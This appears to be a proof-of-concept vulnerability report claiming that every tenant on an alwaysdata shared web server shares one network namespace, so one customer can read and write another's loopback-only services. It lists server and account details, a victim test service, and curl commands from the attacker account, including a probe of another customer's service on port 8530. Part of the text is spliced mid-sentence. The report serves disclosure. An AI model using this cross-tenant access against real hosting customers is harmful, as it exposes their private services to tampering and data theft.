# PoC — alwaysdata shared hosting: all tenants share ONE network namespace # => a customer's loopback (127.0.0.1) services are READABLE **and WRITABLE** by any co-tenant Server: ssh2 (shared web server, kernel 6.18.52-alwaysdata, Debian bookworm) Shared net namespace for every account: readlink /proc/self/ns/net => net:[4026531833] (init ns) Date: 2026-10-10 Two accounts, BOTH owned by us, confirmed co-located on ssh2 with the SAME net namespace: - ATTACKER = account A qqqqqq111 uid 554081 (runs no service of its own) - VICTIM = account B ihorsecb uid 553290 (a DIFFERENT tenant/customer/uid) Both: `hostname` => ssh2 ; `readlink /proc/self/ns/net` => net:[4026531833]. ======================================================================================= PART 1 — WRITE/CONTROL proof, built ENTIRELY on our own accounts (this escalation) ======================================================================================= ## 1a. On the VICTIM (account B, uid 553290): start a tiny service bound to loopback only A ~90-line Python http.server (victim_server.py) bound to 127.0.0.1:49237 exposing: GET /canary -> returns a secret generated at startup, stored in canary.txt (mode 600) GET /status -> returns persisted state in state.json POST /set -> mutates state.json (flag/note), increments a write counter, echoes new state The owner reasonably believes 127.0.0.1 is private to their account. B$ cd ~/poc-victim && nohup python3 victim_server.py 49237 >server.log 2>&1 each, no data pulled, apps not driven): A$ curl -s -D- http://127.0.0.1:8530/ | head HTTP/1.1 200 OK ; Server: Werkzeug/3.1.9 Python/3.13.16 ; Content-Length: 64577